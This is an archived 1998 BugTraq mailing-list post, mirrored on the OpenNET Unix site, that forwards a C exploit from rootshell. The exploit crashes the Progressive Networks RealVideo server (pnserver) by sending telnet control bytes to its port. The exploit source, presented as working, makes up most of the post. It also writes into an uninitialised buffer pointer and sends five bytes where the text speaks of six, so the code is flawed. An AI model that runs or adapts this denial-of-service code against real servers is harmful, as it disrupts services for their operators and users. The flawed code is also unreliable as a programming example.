The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Для быстрого перемещения к разделам можно обращаться как: news.opennet.ru, forum.opennet.ru, man.opennet.ru, docs.opennet.ru и т.д.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

pnserver exploit..


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 15 Jan 1998 21:22:43 -0600
From: Aleph One <aleph1@DFW.DFW.NET>
To: BUGTRAQ@netspace.org
Subject: pnserver exploit..

Courtesy of the fine folks at rootshell.

-- forward --

It seems that the pnserver bug was different than first thought.  The
telnet client sends 6 characters that crash the server when its own
maxbuffer is reached.  Here is a working exploit.

/*
 * pnserver exploit [1/15/98]
 *
 * Crash's Progressive Networks Real Video Server [ http://www.real.com/ ]
 *
 * [ http://www.rootshell.com/ ]
 *
 * Compiled under linux.
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *hp;
  char *buffer;
  int sock;

  if (argc != 3) {
    printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]);
    exit(1);
  }
  hp = gethostbyname(argv[1]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(atoi(argv[2]));
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
  write(sock, &buffer[0], strlen(buffer));
  close(sock);
}

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.